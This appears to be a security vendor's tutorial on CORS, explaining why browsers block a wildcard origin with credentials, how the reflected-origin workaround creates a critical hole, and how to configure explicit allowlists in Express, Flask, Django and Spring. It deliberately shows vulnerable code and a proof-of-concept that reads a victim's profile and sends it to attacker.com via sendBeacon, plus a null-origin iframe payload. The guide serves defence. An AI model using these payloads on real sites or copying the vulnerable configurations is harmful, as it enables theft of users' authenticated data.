One of the most searched CORS questions is: “Can you use Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true?” The short answer is no — browsers block this combination. But the longer answer reveals the real security risks hiding underneath it, including patterns that are actually exploitable and often introduced when developers try to “fix” this error without understanding why it exists.
This guide explains what the wildcard + credentials combination does, why browsers block it, what the real exploitable CORS patterns look like, and how to configure CORS correctly for authenticated APIs.
Why You Can’t Combine * with Allow-Credentials: true
The Access-Control-Allow-Origin: * header tells a browser: any website can read responses from this server.
The Access-Control-Allow-Credentials: true header tells a browser: include cookies, HTTP authentication, and TLS client certificates with cross-origin requests, and allow JavaScript to read the credentialed response.
Combining these two headers would mean: any website can make authenticated requests using your session cookies and read the response. This would allow any malicious website to make API calls on behalf of any logged-in user and steal the results — a universal session hijacking primitive.
Because this combination would be catastrophically dangerous, browsers enforce a rule: when Access-Control-Allow-Credentials: true is present, Access-Control-Allow-Origin must be a specific origin — never a wildcard.
If a server responds with both headers, browsers will:
- Block the cross-origin read (as if no CORS header was present)
- Log a CORS error in the browser console
- Cause the JavaScript
fetch()orXMLHttpRequestto fail with a network error
The Error Message You’re Seeing
If you’ve landed on this page, you probably saw one of these console errors:
Access to XMLHttpRequest at 'https://api.example.com/data' from origin
'https://app.example.com' has been blocked by CORS policy:
The value of the 'Access-Control-Allow-Origin' header in the response must
not be the wildcard '*' when the request's credentials mode is 'include'.
Or:
Access to fetch at 'https://api.example.com/data' from origin
'https://app.example.com' has been blocked by CORS policy:
Response to preflight request doesn't pass access control check:
The value of the 'Access-Control-Allow-Credentials' header in the response is ''
which must be 'true' when the request's credentials mode is 'include'.
The first error means your server is returning * but your request includes credentials: 'include'. The second means credentials were expected but not allowed by the server. Both are fixable by configuring an explicit origin allowlist.
The Dangerous Fix: Reflected Origin
When developers hit the wildcard + credentials error, a common “fix” is to make the server dynamically reflect back whatever Origin header the browser sends:
# DANGEROUS — reflects any origin without validation
@app.after_request
def cors_headers(response):
origin = request.headers.get('Origin')
if origin: # If there's an Origin header, just reflect it back
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
// DANGEROUS — Node.js version of the same mistake
app.use((req, res, next) => {
const origin = req.headers.origin;
res.setHeader('Access-Control-Allow-Origin', origin || '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
This “fixes” the console error — the browser accepts a specific-looking origin instead of a wildcard. But it is functionally equivalent to Allow-Origin: * combined with Allow-Credentials: true — the exact combination the browser was protecting against. Every origin on the internet now passes, and credentialed responses are readable by any website.
This is an exploitable CORS misconfiguration. Security scanners flag it as a critical finding, OWASP classifies it under A05:2021 (Security Misconfiguration), and it maps to CWE-942.
The Attack: What an Attacker Can Do
If your API has a reflected-origin CORS configuration, here is the attack:
-
The victim visits
https://attacker.comwhile logged intohttps://api.yourapp.com -
attacker.comruns this JavaScript:
// On attacker.com — steals authenticated user data from api.yourapp.com
fetch('https://api.yourapp.com/user/profile', {
credentials: 'include', // Sends the victim's session cookies
method: 'GET',
})
.then(response => response.json())
.then(data => {
// The reflected CORS allows reading the credentialed response
// Attacker now has the victim's profile, email, PII, account data
navigator.sendBeacon(
'https://attacker.com/collect',
JSON.stringify(data)
);
});
-
Because the server reflects
https://attacker.comas the allowed origin and setsAllow-Credentials: true, the browser allows the JavaScript to read the response. -
The attacker receives the victim’s authenticated API response data.
This works on any API with a reflected-origin CORS policy. The victim only needs to visit the attacker’s page while having an active session on your application.
Other CORS Header Misconfigurations
The wildcard-with-credentials error often leads developers to investigate CORS more broadly, revealing other misconfigurations. Here are the most common:
1. Trusting the null Origin
Sandboxed iframes, file:// URLs, and certain redirects send an Origin: null header. Some servers are configured to trust null:
# VULNERABLE — null origin trust
if origin == 'null' or not origin:
response.headers['Access-Control-Allow-Origin'] = 'null'
response.headers['Access-Control-Allow-Credentials'] = 'true'
Attackers can create a sandboxed iframe that sends Origin: null:
<!-- On attacker.com — triggers null origin -->
<iframe sandbox="allow-scripts allow-top-navigation"
src="data:text/html,<script>fetch('https://api.yourapp.com/data', {credentials:'include'}).then(r=>r.json()).then(d=>top.postMessage(d,'*'))</script>">
</iframe>
Fix: Never trust the null origin for credentialed endpoints.
2. Overly Broad Subdomain Matching
A regex intended to allow all subdomains of yourcompany.com can be written incorrectly:
# VULNERABLE — regex allows "evil.yourcompany.com.attacker.com"
import re
if re.match(r'https?://.*yourcompany\.com', origin):
allow_this_origin()
An attacker registers evil.yourcompany.com.attacker.com and their origin passes the regex.
Fix: Anchor the regex properly and match the full hostname:
import re
# SECURE — anchored regex matching full domain
if re.match(r'^https://([a-z0-9-]+\.)?yourcompany\.com$', origin):
allow_this_origin()
3. HTTP Origins Trusted on HTTPS Endpoints
If your API is HTTPS but you allow an HTTP origin:
// VULNERABLE — HTTP origin allowed for HTTPS API
const allowedOrigins = [
'http://yourcompany.com', // HTTP
'https://yourcompany.com', // HTTPS
];
An attacker on the same network as the victim can perform a man-in-the-middle attack on http://yourcompany.com, injecting a script that makes credentialed requests to the HTTPS API with the victim’s cookies.
Fix: Only allow HTTPS origins in production.
The Correct CORS Configuration for Credentialed APIs
For any API endpoint that:
- Returns user-specific data
- Requires authentication (cookies, bearer tokens, basic auth)
- Performs state-changing operations
The correct CORS configuration is an explicit, static allowlist of trusted origins:
Node.js / Express
const allowedOrigins = new Set([
'https://app.yourcompany.com',
'https://yourcompany.com',
'https://admin.yourcompany.com',
// During development, add conditionally:
// process.env.NODE_ENV === 'development' && 'http://localhost:3000',
].filter(Boolean));
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin && allowedOrigins.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin'); // Required for CDN/proxy correctness
res.setHeader(
'Access-Control-Allow-Headers',
'Content-Type, Authorization, X-API-Key'
);
res.setHeader(
'Access-Control-Allow-Methods',
'GET, POST, PUT, PATCH, DELETE, OPTIONS'
);
}
// Handle preflight requests
if (req.method === 'OPTIONS') {
return res.sendStatus(204);
}
next();
});
Python / Flask
from flask import Flask, request, jsonify
app = Flask(__name__)
ALLOWED_ORIGINS = {
'https://app.yourcompany.com',
'https://yourcompany.com',
'https://admin.yourcompany.com',
}
@app.after_request
def cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
response.headers['Vary'] = 'Origin'
response.headers['Access-Control-Allow-Headers'] = (
'Content-Type, Authorization, X-API-Key'
)
response.headers['Access-Control-Allow-Methods'] = (
'GET, POST, PUT, PATCH, DELETE, OPTIONS'
)
return response
@app.route('/api/<path:path>', methods=['OPTIONS'])
def preflight(path):
return '', 204
Python / Django (with django-cors-headers)
# settings.py
INSTALLED_APPS = [
...
'corsheaders',
]
MIDDLEWARE = [
'corsheaders.middleware.CorsMiddleware',
'django.middleware.common.CommonMiddleware',
...
]
# SECURE: explicit allowlist
CORS_ALLOWED_ORIGINS = [
'https://app.yourcompany.com',
'https://yourcompany.com',
'https://admin.yourcompany.com',
]
CORS_ALLOW_CREDENTIALS = True
# Do NOT use:
# CORS_ALLOW_ALL_ORIGINS = True ← This is the wildcard equivalent
Java / Spring Boot
@Configuration
public class CorsConfiguration {
@Bean
public WebMvcConfigurer corsConfigurer() {
return new WebMvcConfigurer() {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins(
"https://app.yourcompany.com",
"https://yourcompany.com",
"https://admin.yourcompany.com"
)
.allowedMethods("GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS")
.allowedHeaders("Content-Type", "Authorization", "X-API-Key")
.allowCredentials(true)
.maxAge(3600); // Cache preflight for 1 hour
}
};
}
}
The Vary: Origin Header — Don’t Forget This
When you reflect a specific origin (even from an allowlist), you must include Vary: Origin in the response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.yourcompany.com
Access-Control-Allow-Credentials: true
Vary: Origin
Why it matters: Without Vary: Origin, a CDN or reverse proxy might cache a response that was sent with Access-Control-Allow-Origin: https://app.yourcompany.com and then serve that cached response to a request from a different origin — either exposing data to the wrong origin, or denying access to a valid origin.
Vary: Origin tells caches: “This response is different for different Origin headers — cache them separately.”
Testing Your CORS Configuration
Use curl to manually test your CORS configuration:
# Test 1: Does the API allow credentialed requests from your app?
curl -s -D - \
-H "Origin: https://app.yourcompany.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Authorization" \
-X OPTIONS \
https://api.yourcompany.com/endpoint
# Expected response:
# Access-Control-Allow-Origin: https://app.yourcompany.com
# Access-Control-Allow-Credentials: true
# Test 2: Does the API block requests from an unauthorized origin?
curl -s -D - \
-H "Origin: https://evil.com" \
-X OPTIONS \
https://api.yourcompany.com/endpoint
# Expected: NO Access-Control-Allow-Origin header in response
# (or a 403 response to the preflight)
For systematic testing across all your API endpoints, a DAST scanner like Offensive360 tests CORS policy on every endpoint during a scan — checking for wildcard policies, reflected origins, null origin trust, and subdomain regex flaws.
CORS for Non-Credentialed Public APIs
If your API serves only public, unauthenticated data and you genuinely want any website to be able to fetch it:
Access-Control-Allow-Origin: *
# Do NOT add: Access-Control-Allow-Credentials: true
# Do NOT add: Access-Control-Allow-Headers: Authorization
Without credentials enabled, * is safe for genuinely public endpoints — CDN assets, public data APIs, fonts. The browser will not include cookies or authorization headers with the request, and JavaScript on any origin can read the (unauthenticated) response.
CORS Misconfiguration Detection with SAST
Offensive360 SAST detects the following CORS patterns in source code:
Access-Control-Allow-Origin: *on endpoints that process authentication (mixed with session handling or auth middleware)- Origin reflection without validation:
response.headers['Access-Control-Allow-Origin'] = request.headers['Origin'] - Trust of
nullorigin with credentials - HTTP origins in HTTPS allowlists
CORS_ALLOW_ALL_ORIGINS = Truein Django settings combined with credential-requiring endpoints
These findings appear as high/critical severity in the SAST report, with a data flow trace showing where the misconfiguration is set and how credentials are handled on the same endpoints.
Summary
| Configuration | Credentialed Requests | Safety |
|---|---|---|
Allow-Origin: * + no credentials | Not possible (browser ignores cookies) | ✅ Safe for public data |
Allow-Origin: * + Allow-Credentials: true | Browser blocks — returns CORS error | 🚫 Broken (but safe because blocked) |
Reflected origin + Allow-Credentials: true | Works — all origins allowed | ❌ Critical vulnerability |
Explicit allowlist + Allow-Credentials: true | Works — only allowlisted origins | ✅ Correct |
| No CORS headers | Browser blocks all cross-origin reads | ✅ Safest default |
The Access-Control-Allow-Origin: * + Allow-Credentials: true combination is blocked by browsers — that’s a browser safety feature, not a bug you need to work around. The real danger is the “fix” that developers apply when they see this error: reflecting the origin back without validation. That creates a genuine critical vulnerability.
The correct fix is always an explicit allowlist of trusted origins — never dynamic origin reflection.
Offensive360 DAST automatically tests CORS policy on every endpoint in your web application, including credentialed request scenarios. Scan your API for CORS misconfigurations and the full OWASP Top 10 — results within 48 hours.